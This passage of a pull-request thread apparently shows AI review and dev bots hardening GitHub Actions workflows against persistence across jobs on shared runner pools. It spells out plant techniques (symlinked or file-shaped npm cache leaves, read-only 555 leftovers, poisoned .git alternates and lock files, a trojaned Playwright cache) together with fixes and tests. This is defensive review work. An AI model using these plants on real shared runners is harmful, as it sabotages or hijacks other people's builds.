Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R8-2: the persistent npm-cache leaf is plantable — permanent wedge or silent write-through. mkdir -p "${HOME}/.cache/qwen-code/npm" has no heal: a prior pool job can plant the leaf as a file or symlink, and mkdir -p then either fails — wedging every later visuals job on that runner — or silently succeeds through a live symlink, redirecting every later job's npm cache writes outside the intended path. Nothing repairs it: the wipe is allowlist-bound to $GITHUB_WORKSPACE, the ownership heal touches only $GITHUB_WORKSPACE, and the clear step touches only $RUNNER_TEMP. A prior job running touch ~/.cache/qwen-code/npm (or ln -s <outside> ~/.cache/qwen-code/npm) then wedges every later job at this step, or writes its cache through the link to an attacker-chosen location, until out-of-band cleanup.

witness (extracted step, fresh per-row HOME fixtures):
file-leaf plant:    exit=1, 'mkdir: cannot create directory … File exists', GITHUB_ENV not written
symlink-leaf plant: exit=0, NPM_CONFIG_CACHE exported through the live link,
                    later-job cache write landed at the link target — WRITE-THROUGH CONFIRMED
fixed copy (unlink leaf before mkdir, fail-open otherwise): both rows exit 0, leaf removed, real dir created

Fix — heal the pathological spellings before use and fail open (the cache is an optimization, not a gate):

cache_dir="${HOME}/.cache/qwen-code/npm"
if [ -L "${cache_dir}" ] || { [ -e "${cache_dir}" ] && [ ! -d "${cache_dir}" ]; }; then
  echo "::warning::healing planted npm cache path: ${cache_dir}"
  rm -f -- "${cache_dir}"
fi
if mkdir -p "${cache_dir}"; then
  echo "NPM_CONFIG_CACHE=${cache_dir}" >> "${GITHUB_ENV}"
else
  echo "::warning::cannot prepare persistent npm cache at ${cache_dir}; using the default cache"
fi

Fix witness: extend the 'keeps the persistent npm cache pool-only and ahead of the install' test to assert the run text unlinks a non-directory/symlink leaf before mkdir -p and writes NPM_CONFIG_CACHE only on the success leg; removing the heal must turn it red.

中文说明

R8-2:持久 npm 缓存叶子可被植入——永久楔子或无声写穿。mkdir -p "${HOME}/.cache/qwen-code/npm" 没有修复:前序池上作业可把叶子植入为文件或符号链接,mkdir -p 要么失败——楔住该 runner 上之后所有 visuals 作业——要么透过存活符号链接无声成功、把之后每个作业的 npm 缓存写入重定向到预期路径之外。没有任何步骤修复它:wipe 被 allowlist 限定在 $GITHUB_WORKSPACE,属主修复只碰 $GITHUB_WORKSPACE,清理步骤只碰 $RUNNER_TEMP。前序作业执行 touch ~/.cache/qwen-code/npm(或 ln -s <外部> ~/.cache/qwen-code/npm)即可令之后每个作业楔死在本步骤,或令缓存透过链接写入攻击者选定的位置,直至带外清理。修复:使用前修复病态形态、失败开放(缓存是优化而非门禁):符号链接或非目录叶子则告警并 rm -f 链接本身;mkdir -p 失败则告警并回退默认缓存。修复见证:扩展 'keeps the persistent npm cache pool-only and ahead of the install' 测试,断言运行文本在 mkdir -p 之前解除非目录/符号链接叶子、且仅在成功分支写 NPM_CONFIG_CACHE;删除修复行使之变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment thread .github/workflows/web-shell-visuals.yml Outdated
- name: 'Clear stale capture dirs'
run: |-
set -euo pipefail
rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R8-3: a read-only leftover under ${RUNNER_TEMP} wedges step 1 of every later job. The unconditional 'Clear stale capture dirs' step has no permission-heal: a read-only leftover under the two cleared paths — the exact leftover class the next step says it exists to heal — makes rm -rf fail (EACCES descending into a 555 directory that still has children), fails this step of every later job, and survives its own failed removal; the workspace ownership heal runs after this step and only heals $GITHUB_WORKSPACE. A prior pool job planting mkdir -p "${RUNNER_TEMP}/web-shell-visuals/junk" && chmod 555 "${RUNNER_TEMP}/web-shell-visuals" then wedges every later visuals job on that runner until manual cleanup — one plant, a permanently red lane for every PR.

witness (probe as uid 1000 against the real step text):
UNFIXED: job1 and job2 both exit 1, 'rm: cannot remove …/web-shell-visuals/junk: Permission denied',
         plant STILL PRESENT after both
FIXED (chmod heal before the rm): exit 0 ×2, plant removed
Suggested change
rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before"
chmod -R u+rwX "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" 2>/dev/null || true
rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" || sudo -n rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before"

(the sudo -n fallback matches the pool's sudo allowlist, which this file's Playwright step says includes rm).

Fix witness: an exec fixture planting the two clear dirs as a 555 dir containing a child, asserting the step exits 0 with full removal; removing the heal/fallback must turn it red.

中文说明

R8-3:${RUNNER_TEMP} 下的只读遗留物会楔住之后每个作业的第一步。无条件的 'Clear stale capture dirs' 步骤没有权限修复:两个被清理路径下的只读遗留物——正是下一步骤声称自己存在就是为了修复的那类遗留——会使 rm -rf 失败(对仍有子项的 555 目录 descending 时 EACCES),使之后每个作业的该步骤失败,且遗留在自身失败的删除后依然存活;工作区属主修复在该步骤之后运行、且只修复 $GITHUB_WORKSPACE。前序池上作业植入 mkdir -p "${RUNNER_TEMP}/web-shell-visuals/junk" && chmod 555 "${RUNNER_TEMP}/web-shell-visuals" 即可令该 runner 上之后每个 visuals 作业楔死,直至人工清理——一次植入、对每个 PR 都是永久红车道。修复:rm -rf 之前先 chmod -R u+rwX 修复(失败容忍),并加 sudo -n rm -rf 回退(池的 sudo allowlist 按本文件 Playwright 步骤的注释包含 rm)。修复见证:植入含子项的 555 目录,断言步骤退出码 0 且完全清除;删除修复/回退必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +313 to +315
function wipeGitEnv(home) {
return {
PATH: process.env.PATH,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R8-4: the five git-dependent wipe witnesses fail as-delivered on fleet machines whose PATH git is the QWEN_CI_REAL_GIT wrapper. The witnesses resolve git PATH-first (hostToolPath('git')) and spawn it with this wholesale-replaced env, so on a machine whose PATH git is the fleet wrapper (exec "$QWEN_CI_REAL_GIT" "$@") they die with exec: : not found — the wrapper's indirection variable never reaches the child, and the same scrub strips it from runWipeStep's env. HELPER_TESTS includes this file and runs in ci.yml's Linux test job in both profiles, which routes to the ecs-qwen pool for trusted lanes; the wrapper env is present on this org's runner fleet (verified live), and the repo's own convention exists for it (extension-git-client.test.ts honors QWEN_CI_REAL_GIT). This PR's CI runs are currently green, so the failure is dispatch-dependent — the same shape the R3-1 Critical was filed on.

witness (deterministic split, both directions):
as delivered on a wrapper-env machine: # tests 49 / pass 44 / fail 5
  — commondir, config.lock, symlinked .git/config, refs/replace, allowlist-scrub
    each failing '…/qwen-network-bin.*/git: line 6: exec: : not found'
wrapper dir removed from PATH:         pass 49 / fail 0
proposed fix applied:                  pass 49 / fail 0 in the wrapper env, still 49/0 wrapper-free

Fix — resolve the witness git through the fleet convention and flow the variable into runWipeStep's env, keeping GIT_CONFIG_NOSYSTEM/fresh-HOME isolation intact:

const realGit = process.env.QWEN_CI_REAL_GIT ?? hostToolPath('git');
// wipeGitEnv: add QWEN_CI_REAL_GIT to the child env when it is set in process.env

Fix witness: the five git-dependent wipe exec witnesses themselves — red in the wrapper environment today; the fix must turn them green there while staying green on a wrapper-free PATH (both states observed in this review).

中文说明

R8-4:五个依赖 git 的 wipe 见证在 PATH 上 git 为 QWEN_CI_REAL_GIT 包装器的车队机器上按现状交付即失败。见证以 PATH 优先解析 git(hostToolPath('git'))并以整体替换的 env 派生进程,因此在 PATH git 为车队包装器(exec "$QWEN_CI_REAL_GIT" "$@")的机器上以 exec: : not found 死去——包装器的间接变量到不了子进程,同一擦洗也从 runWipeStep 的 env 中剥掉了它。HELPER_TESTS 包含本文件、在 ci.yml 两种 profile 的 Linux test 作业中运行,而该作业对可信车道路由到 ecs-qwen 池;包装器环境存在于本组织的 runner 车队(已在线验证),仓库自身也已有对应约定(extension-git-client.test.ts 尊重 QWEN_CI_REAL_GIT)。本 PR 的 CI 目前为绿,因此该失败依赖派发——与当初 R3-1 Critical 的形态相同。修复:按车队约定解析见证 git(process.env.QWEN_CI_REAL_GIT ?? hostToolPath('git')),并把该变量传入 runWipeStep 的 env,保持 GIT_CONFIG_NOSYSTEM/全新 HOME 隔离不变。修复见证:即那五个见证本身——当前在包装器环境为红;修复须使其在该环境变绿、同时在无包装器 PATH 上保持绿(本轮两种状态均已观测)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Addressed the latest review feedback (round 2/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 2/100 轮)。改动内容与我反驳保留之处如下:

Round-8 review feedback — all six Criticals addressed

Every finding was reproduced on the pre-round code before fixing (probes/witnesses
below), fixed at the root cause, and pinned by a witness that fails on the pre-round
tree and fails again if the new guard is removed (mutation probes).

Findings and dispositions

[Critical] R5-1 (rc:3882162054) — kept-.git planted-state class, 7 entrances — ACT (implemented).
Reproduced pre-round: symlinked .git/objects survived the wipe; objects/info/alternates poisoning let a victim cat-file materialize the evil object; a refs/replace/<sha>.lock killed the bare replace strip (exit 1); an index.lock let the wipe pass then killed the next checkout (exit 128); a garbage HEAD wedged two consecutive jobs at exit 128; mkdir .git/commondir killed the wipe with Is a directory; a symlinked intermediate component was refused with nothing removed. The defang now validates the kept gitdir wholesale, in both byte-identical copies: every symlink under .git is swept (counted, not named — planted names are attacker bytes and would forge annotations if printed), every *.lock of any shape is removed (-prune -exec rm -rf), objects/info/alternates is removed, the rm -f defangs became rm -rf (directory-shaped plants), the scrub allowlist keeps no extensions.* key, and a gitdir whose refs cannot be enumerated is removed fail-open with a warning (next job re-fetches) instead of dying bare at exit 128 forever. The config-only symlink guard and the individual config.lock removal were subsumed by the sweeps and deleted (subtractive). Entrance 7 is healed: symlinked components strictly between RUNNER_WORKSPACE and the workspace are unlinked and recreated, never following the link, with the same readlink-stripping annotation discipline as the existing heals. Witnesses: seven new exec fixtures (objects-link, alternates, both lock legs, extension plant, garbage-HEAD fail-open incl. a second simulated job, directory plants, intermediate link), each red pre-round and red again when its guard line is removed.

[Critical] R8-1 (rc:3882162065) — ancestor walk spins forever on relative RUNNER_WORKSPACE — ACT (implemented).
Reproduced pre-round: RWS='.' ran until the 6 s probe timeout killed it (the finding's exit 124 shape). Fix in both copies: the absoluteness check is hoisted out of the heal branch to right after the -z guard, before the walk; the now-unreachable relative and bare-.. arms were deleted from the heal case. Witness: runWipeStep gained a spawn timeout (15 s) and a rws: '.' case asserting the refusal annotation — removing the hoisted arm turns it red via timeout-kill instead of hanging the suite.

[Critical] R8-2 (rc:3882162079) — plantable persistent npm-cache leaf — ACT (implemented).
Reproduced pre-round: file-leaf plant → step exit 1 (permanent wedge); symlink leaf → mkdir through the link; parent-file plant → exit 1. Fix: the step heals a non-directory/symlink leaf (rm -f, warned) before mkdir -p, and degrades to the default cache with a warning when mkdir -p fails — the cache is an optimization, not a gate. NPM_CONFIG_CACHE is exported only on the success leg. Witness: three-arm exec fixture (file / symlink / parent-file) asserting exit 0, a real directory, no write-through target created, and no export on the fail-open arm — plus text pins for the heal and the conditional export. Red pre-round, red when the heal is removed.

[Critical] R8-3 (rc:3882162091) — read-only leftover wedges 'Clear stale capture dirs' — ACT (implemented).
Reproduced pre-round: a 555 capture dir with a child made the step exit 1 with Permission denied and the plant survived. Fix: chmod -R u+rwX … || true heal before the rm, and a sudo -n rm -rf fallback matching the pool's sudo allowlist (rm). Witness: exec fixture planting both clear dirs as 555 dirs with children, asserting exit 0 and full removal — red pre-round and red when the chmod heal is removed; the sudo fallback is pinned by the clear-step text test. Observation, not changed this round: the finding anchors web-shell-visuals.yml; serve-ab.yml has a same-named clear step with the same shape whose fix the reviewer may want to request explicitly if it should change too.

[Critical] R8-4 (rc:3882162107) — five git-dependent wipe witnesses die on wrapper-env fleet machines — ACT (implemented).
Reproduced pre-round on this machine with a synthesized wrapper env (PATH git = exec "$QWEN_CI_REAL_GIT" "$@"): the suite ran 49 tests / 44 pass / 5 fail — exactly the commondir, config.lock, symlinked-config, refs/replace, and allowlist-scrub witnesses, dying with exec: : not found. Fix, both halves as prescribed: the witness git resolves through the fleet convention (process.env.QWEN_CI_REAL_GIT ?? hostToolPath('git')) with a resolution pin, and wipeGitEnv flows QWEN_CI_REAL_GIT into the step's child env so the wrapper's exec finds the real binary. GIT_CONFIG_NOSYSTEM/fresh-HOME isolation is unchanged. Post-fix: 62/62 in the wrapper env and 62/62 wrapper-free. Mutation probes: removing the env carry-over or the resolution pin turns the wrapper-env witnesses red again.

[Critical] R8-5 (review body) — pool lane consumes the cross-job-writable Playwright cache without provenance — ACT (implemented).
Fix per the finding's option 1: the pool lane wipes ${HOME}/.cache/ms-playwright before npx playwright install chromium (fail-closed if the wipe itself fails), accepting the re-download as the price of provenance — a marker-complete trojan can no longer survive a trusting install, and a stale ELF with a fabricated DT_NEEDED can no longer wedge the gate for every later job. The scan also gained the chrome-headless-shell arm the finding noted matched nothing on Playwright 1.61. The finding's readelf -d/::-stripping requirements are scoped "until" provenance is established; with the wipe, the scanned files are the freshly downloaded ones, so ldd stays. Witnesses: the install harness's npx stub now models the installer's marker trust (marker present → no download; absent → re-download), and two new machines plant (a) a marker-complete trojan and (b) a stale unregistered ELF with an unresolvable DT_NEEDED — both assert the gate passes and the scan never consumes the plant; both red pre-round (trojan survived byte-identical; stale ELF wedged the gate to exit 1) and red when the wipe line is removed.

Not in this round's scope (recorded, unchanged):

  • The two Suggestion-level findings already reported in earlier rounds (case-insensitive ambient-secrets matcher; ffmpeg-step comment) — not repeated or requested this round.
  • The two items deferred under the convergence posture (HOME-scope hygiene; root-heal /var denylist) — the review records them as not requested in this round.

Mutation probes (guard removed → witness red → restored)

probe result
R8-1 hoisted relative refusal removed red (timeout-kill)
R5-1 symlink sweep removed red
R5-1 lock sweep removed red
R5-1 alternates removal removed red
R5-1 extensions\. re-added to allowlist red
R5-1 fail-open removal line removed red
R5-1 commondir defang reverted to rm -f red
R5-1 intermediate heal disabled red
R8-2 cache heal removed red
R8-3 chmod heal removed red
R8-3 sudo fallback removed (text pin) red
R8-5 provenance wipe removed red (trojan fixture)
R8-5 provenance wipe removed red (stale-ELF fixture)
R8-4 env carry-over removed red (wrapper env)
R8-4 resolution reverted red (wrapper env, resolution pin)

Verification

  • node --test .github/scripts/ci-runner-routing.test.mjs — 62 passed, 0 failed (also 62/62 under the simulated QWEN_CI_REAL_GIT wrapper env; pre-round baseline there was 44/49)
  • new/changed tests against the pre-round workflows — 17 fail (every defect witness red before its fix)
  • bash .github/scripts/check-workflow-size.sh — passed after bumping web-shell-visuals.yml 40235 → 44848 in .size-baseline (growth is real: structural kept-.git validation + provenance wipe; serve-ab.yml +2614 stays within the 4096 allowance)
  • npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/workflow-size.test.js — 195 passed
  • npm run build — passed
  • npm run typecheck — passed
  • npm run lint — passed
  • npx prettier --check .github/scripts/ci-runner-routing.test.mjs — passed
  • YAML parse + bash -n on every edited step — passed; the two wipe copies remain executable-line-identical (pinned by the port test)

No conflicts (--conflict false; no merge performed).

中文说明

第 8 轮评审反馈 —— 六条 Critical 全部处理

每条发现都在修复前先于回前代码上复现(探针/见证如下),按根因修复,并由一个在回前树上失败、且在移除新增守卫行后再次失败(变异探针)的见证钉住。

发现与处理

[Critical] R5-1(rc:3882162054)——保留 .git 的被植入状态类,7 个入口 —— 已实现。
回前复现:符号链接化的 .git/objects 在 wipe 后存活;objects/info/alternates 投毒使受害方 cat-file 实体化出恶意对象;refs/replace/<sha>.lock 杀死裸 replace 剥离(退出码 1);index.lock 让 wipe 通过后又杀死下一次检出(退出码 128);垃圾 HEAD 使连续两个作业以退出码 128 楔死;mkdir .git/commondir 以「是目录」杀死 wipe;中间路径分量上的符号链接被拒绝且什么都不移除。现在,去毒在两份逐字节相同的副本中对保留 gitdir 做整体校验:清扫 .git 下全部符号链接(计数而不点名——点名内容是攻击者字节,打印出来会伪造注解)、类型无关地移除全部 *.lock-prune -exec rm -rf)、移除 objects/info/alternates、把 rm -f 拆防改为 rm -rf(目录形态植入)、擦洗 allowlist 不再保留任何 extensions.* 键、对无法枚举 refs 的 gitdir 失败开放地告警移除(下个作业重新拉取),而不是永远以退出码 128 裸死。config 专用符号链接守卫与单独的 config.lock 移除被清扫吸收后删除(减法)。入口 7 改为修复:严格位于 RUNNER_WORKSPACE 与工作区之间的符号链接分量被解链并重建,从不跟随链接,沿用与既有修复相同的 readlink 输出净化纪律。见证:七个新执行夹具(objects 链接、alternates、两条 lock 腿、extension 植入、垃圾 HEAD 失败开放含第二个模拟作业、目录形态植入、中间链接),回前均为红,移除对应守卫行后再次变红。

[Critical] R8-1(rc:3882162065)——祖先遍历在相对 RUNNER_WORKSPACE 上无限空转 —— 已实现。
回前复现:RWS='.' 一直运行到 6 秒探针超时将其杀死(即发现中退出码 124 的形态)。修复(两份副本):把绝对路径检查从修复分支中提出、置于 -z 守卫之后、遍历之前;修复 case 中由此不可达的相对路径臂与裸 .. 模式已删除。见证:runWipeStep 增加 spawn 超时(15 秒),新增 rws: '.' 用例断言拒绝注解——移除提出的 case 臂后该用例以超时杀死变红,而不是挂死套件。

[Critical] R8-2(rc:3882162079)——可植入的持久 npm 缓存叶子 —— 已实现。
回前复现:文件叶子植入 → 步骤退出码 1(永久楔子);符号链接叶子 → mkdir 透过链接;父级为文件 → 退出码 1。修复:步骤在 mkdir -p 之前修复非目录/符号链接叶子(告警后 rm -f),mkdir -p 失败时告警并回退默认缓存——缓存是优化而非门禁。NPM_CONFIG_CACHE 仅在成功分支导出。见证:三臂执行夹具(文件/符号链接/父级为文件),断言退出码 0、叶子成为真实目录、未创建写穿目标、失败开放臂不导出——另有两条文本钉住修复行与条件导出。回前为红,移除修复行后再次为红。

[Critical] R8-3(rc:3882162091)——只读遗留物楔死 'Clear stale capture dirs' —— 已实现。
回前复现:含子项的 555 捕获目录使步骤以退出码 1 失败(Permission denied),遗留在失败的删除后存活。修复:rm 之前先 chmod -R u+rwX … || true 修复,再加与池 sudo allowlist(含 rm)匹配的 sudo -n rm -rf 回退。见证:把两个清理目录植入为含子项的 555 目录,断言退出码 0 且完全移除——回前为红,移除 chmod 修复行后为红;sudo 回退由清理步骤文本测试钉住。观察(本轮未改):该发现锚定 web-shell-visuals.ymlserve-ab.yml 有同名同形的清理步骤,若也需要修改,可由评审显式提出。

[Critical] R8-4(rc:3882162107)——五个依赖 git 的 wipe 见证在包装器环境的车队机器上交付即失败 —— 已实现。
本机以合成包装器环境(PATH 上的 git 为 exec "$QWEN_CI_REAL_GIT" "$@")回前复现:套件 49 测试 / 44 通过 / 5 失败——恰为 commondir、config.lock、符号链接 config、refs/replace、allowlist 擦洗五个见证,死于 exec: : not found。修复,按规定两半都做:见证 git 按车队约定解析(process.env.QWEN_CI_REAL_GIT ?? hostToolPath('git'))并加解析钉住;wipeGitEnvQWEN_CI_REAL_GIT 传入步骤子进程环境,使包装器的 exec 能找到真实二进制。GIT_CONFIG_NOSYSTEM/全新 HOME 隔离保持不变。修复后:包装器环境 62/62,无包装器环境 62/62。变异探针:移除环境传入或将解析回退,包装器环境见证再次变红。

[Critical] R8-5(评审正文)——池车道消费跨作业可写的 Playwright 浏览器缓存而无溯源 —— 已实现。
按发现给出的方案一修复:池车道在 npx playwright install chromium 之前清空 ${HOME}/.cache/ms-playwright(清空本身失败则失败关闭),接受重新下载作为溯源的代价——带完整标记的木马不再能透过信任式安装存活,带伪造 DT_NEEDED 的陈旧 ELF 也不再能楔死之后每个作业的门禁。扫描同时补上发现指出的、在 Playwright 1.61 上匹配不到任何东西的 chrome-headless-shell 臂。发现中 readelf -d/去除 :: 的要求以「建立溯源之前」为限;清空之后被扫描的即是刚下载的文件,故保留 ldd。见证:安装夹具的 npx 桩现模拟真实安装器对标记的信任(有标记则不下载;无标记则重新下载并重建树),并新增两种机器状态分别植入(a)标记完整的木马与(b)陈旧未注册目录中 DT_NEEDED 不可解析的 ELF——两者都断言门禁通过且扫描从未消费植入物;回前均为红(木马逐字节存活;陈旧 ELF 把门禁楔到退出码 1),移除清空行后再次为红。

本轮范围外(记录在案,未改动):

  • 两条已在早前轮次报告过的建议级发现(大小写不敏感的 ambient-secrets 匹配器绕过;ffmpeg 步骤注释)——本轮未重复提出、未要求处理。
  • 收敛姿态下延后的两条(HOME 范围卫生;root-heal 的 /var denylist)——评审已记录为本轮不要求处理。

变异探针(移除守卫 → 见证变红 → 恢复)

探针 结果
移除 R8-1 提出的相对路径拒绝 红(超时杀死)
移除 R5-1 符号链接清扫
移除 R5-1 lock 清扫
移除 R5-1 alternates 移除
R5-1 allowlist 重新加回 extensions\.
移除 R5-1 失败开放的删除行
R5-1 commondir 拆防回退为 rm -f
禁用 R5-1 中间分量修复
移除 R8-2 缓存修复
移除 R8-3 chmod 修复
移除 R8-3 sudo 回退(文本钉)
移除 R8-5 溯源清空 红(木马夹具)
移除 R8-5 溯源清空 红(陈旧 ELF 夹具)
移除 R8-4 环境传入 红(包装器环境)
回退 R8-4 git 解析 红(包装器环境,解析钉)

验证

  • node --test .github/scripts/ci-runner-routing.test.mjs —— 62 通过,0 失败(在模拟 QWEN_CI_REAL_GIT 包装器环境下同样 62/62;回前基线为 44/49)
  • 新改测试运行于回前工作流 —— 17 个失败(每个缺陷见证在修复前均为红)
  • bash .github/scripts/check-workflow-size.sh —— 通过(在 .size-baseline 中把 web-shell-visuals.yml 从 40235 上调至 44848 之后;增长是真实的:结构性保留-.git 校验 + 溯源清空;serve-ab.yml +2614 仍在 4096 allowance 内)
  • npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/workflow-size.test.js —— 195 通过
  • npm run build —— 通过
  • npm run typecheck —— 通过
  • npm run lint —— 通过
  • npx prettier --check .github/scripts/ci-runner-routing.test.mjs —— 通过
  • 每个改动步骤均通过 YAML 解析 + bash -n;两份 wipe 副本保持可执行行级一致(由 port 测试钉住)

无冲突(--conflict false,未执行合并)。

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

⚠️ Round 9, and the diff has grown 4.1x since this review first measured it (184 → 747 source diff lines). The findings below are anchored to the current patch, so they can only say where this approach leaks — never that a different approach would retire all of them at once. Before fixing them, a human should decide whether the shape of the change is still right. Advisory only: this does not affect the verdict, and nothing here is a blocker.

1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • N10 case-insensitive ambient-secret matcher bypass (SECRETS.X / Secrets['X'] resolve on the runner but the guard regex has no i flag) — already reported (round-6 deferred list, review 5044230016; round-8 body duplicate note, review 50529174…

Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported new findings; the kept-.git planted-state family kept producing new entrances).

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Deferred under the convergence posture (round 9, not a blocker) — recorded, not requested in this round:

  • .github/workflows/.size-baseline:56 — [probe] serve-ab.yml baseline under-recorded by 2614 bytes (25994 vs 28608)
  • .github/scripts/ci-runner-routing.test.mjs:2341 — [review] env-override guard loop omits the wipe and npm-cache step env maps
  • .github/scripts/ci-runner-routing.test.mjs:2199 — [probe] npm-cache witness arms never exercise a failing rm -f (the shape that kills the step)
  • .github/scripts/ci-runner-routing.test.mjs:2025 — [probe] fail-open witness never plants .git/shallow — the gate-escaping state
  • .github/scripts/ci-runner-routing.test.mjs:2092 — [review] capture pin suite never pins permissions: contents: read (or persist-credentials)
  • .github/workflows/serve-ab.yml:333 — [review] serve-ab's kept .git is a dead artifact — the validation guards nothing there
  • .github/scripts/ci-runner-routing.test.mjs:365 — [probe] secret-free allowlist is value-only, never positional

Convergence: round 9 posted 8 inline comment(s), 7 of them reported for the first time; the previous round posted 5 (4 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in rounds 5, 8; 4 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)

Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)

Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (8 Critical(s)), the rate of first-time findings is not falling (this round 7, previous 4), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):

standing Critical attack surface attacker-dependency blast radius
(each standing Critical)

Advisory only — it does not block this review.

中文说明

仅完成部分审查,审查缺口已披露。

⚠️ 第 9 轮,且自本审查首次测量以来 diff 已增长 4.1 倍(源码 diff 行数 184 → 747)。下方的发现都锚定在当前这版补丁上,因此它们只能指出这个方案在哪里漏了,而无法说明换一个方案就能一次性消除全部问题。在动手修复之前,应由人来判断这次改动的整体形态是否仍然正确。仅供参考:本段不影响判定结论,其中也没有任何阻断项。

本轮确认的 1 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未审查:reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported new findings; the kept-.git planted-state family kept producing new entrances)。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

收敛姿态下延后(第 9 轮,非阻断)——已记录,本轮不要求修改:共 7 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 9 轮发布了 8 条行内评论,其中 7 条是首次提出;上一轮发布了 5 条(其中 4 条首次提出)。发现反复回到同一批文件:.github/workflows/web-shell-visuals.yml(第 5、8 轮已出过发现,本轮又有 4 条)。新发现的产出速度没有下降。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送,可以避免循环反复推导同一组发现;本 PR 的评审已解析为 critical 发布下限。(仅为观察——本轮评审未因此扣留任何内容。)

机制健康:本轮未能干净收尾,因而扣留了增量锚点,而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff,除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上;并会一直如此,直到某一轮的标记重新带上锚点,或落地的嫁接能被运行该轮的评审使用。(仅陈述,不据此行动——这不改变本轮发布的任何内容。)

残余风险:本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在(本轮 8 条 Critical),首次发现的速率没有下降(本轮 7,上一轮 4),且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议:land-with-residual-risk——出口是 maintainer 的风险接受决定(合入并承担残余风险),而非再开一轮评审。供该决定使用的残余风险清单(maintainer 填写):按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。

— qwen3.8-max via Qwen Code /review (v0.22.2)

git --git-dir="$WS/.git" config --local --unset-all extensions.worktreeConfig 2>/dev/null || true
{ git --git-dir="$WS/.git" config --local --name-only --list 2>/dev/null || true; } | { grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|hidedotfiles|protecthfs|protectntfs)|remote\..+\.(url|fetch|pushurl)|branch\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' || true; } | while IFS= read -r key; do git --git-dir="$WS/.git" config --local --unset-all "$key" 2>/dev/null || true; done
if [ -d "$WS/.git" ]; then
if ! replace_refs="$(git --git-dir="$WS/.git" for-each-ref --format='%(refname)' refs/replace 2>/dev/null)"; then

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R5-1: the kept-.git planted-state class is still open. Round 8 closed the round-7 entrances (re-verified this round), but six NEW entrances demonstrated this round — each probe-verified against the unmodified step — show the per-entrance defang cannot converge:

  1. .git/shallow is deliberately KEPT — garbage bytes kill every later git op (fatal: bad shallow line, exit 128) while this fail-open gate (for-each-ref refs/replace) exits 0, so the poison is carried forever.
  2. The object store is never probed — a garbage loose object unreachable from HEAD passes the gate and wedges every later checkout (inflate: data stream error, exit 128), surviving repeated wipes.
